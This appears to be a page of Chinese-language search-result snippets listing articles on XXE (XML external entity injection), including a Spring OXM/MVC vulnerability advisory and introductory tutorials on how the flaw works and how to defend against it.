2021-03-15 11:27:18Spring OXM 3.0.0-3.2.3、4.0.0.M1,Spring MVC 3.0.0-3.2.3、4.0.0.M1、4.0.0.M2存在多个XML外部实体注入漏洞,攻击者可利用这些漏洞获取敏感信息。 <*来源:Alvaro Munoz *> 建议: ----------------------------... -
XXE攻防——XML外部实体注入
2019-09-22 04:15:27转自腾讯安全应急响应中心 ...XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外... -
XXE(xml外部实体注入)
2019-03-13 12:07:36一、什么是xml 二、漏洞原理 三、攻击方式 四、危害 五、如何防御 -
XXE漏洞(XML外部实体注入)
2020-02-20 14:34:50XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的...